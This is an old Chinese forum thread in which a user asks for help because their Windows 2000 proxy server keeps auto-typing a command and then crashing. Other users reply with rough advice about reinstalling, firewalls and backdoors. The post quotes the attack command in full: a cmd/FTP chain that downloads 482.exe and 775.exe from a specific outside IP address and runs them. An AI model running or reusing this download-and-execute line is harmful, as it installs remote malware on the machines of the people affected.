求助遇到的一个新病毒，没辙了

显示全部楼层 · 发表于 2006-11-19 12:39:01

我的WIN2000电脑,最近几天总是隔一些时间就自动打开"运行"窗口,并自动输入cmd.exe /c del i&echo open 202.107.251.155 1156 > i&echo user 1 1 >> i &echo get 482.exe >> i &echo quit >> i &ftp -n -s:i &482.exe&del i&exit &ftp -n -s:i &775.exe&del i&exit------,然后一会机器蓝屏。。郁闷死了。。上网搜了下，据说和运行了VNC有关系。。这是我公司的代理服务器。该怎么办啊。重装不大可能。。但杀毒就杀不出来。。请问各位大侠,该怎么解决呀??????

显示全部楼层 · 发表于 2006-11-19 14:58:02

用GHOST重装下吧！

显示全部楼层 · 发表于 2006-11-19 15:07:10

不是吧大哥？？难道只能这样吗？？没办法了？有没有人知道啊？

显示全部楼层 · 发表于 2006-11-19 16:20:01

有人攻击你们的服务器呢！装个好点的墙吧！那个什么482.exe和775.exe，应该是上传的后门！检查一下系统里面有没有什么非法的用户，删掉它！具体怎么防范我不是很清楚，不过应该不是中毒！！

显示全部楼层 · 发表于 2006-11-19 16:30:10

谢谢。。知道了个大概。。明天看看。继续等待救援中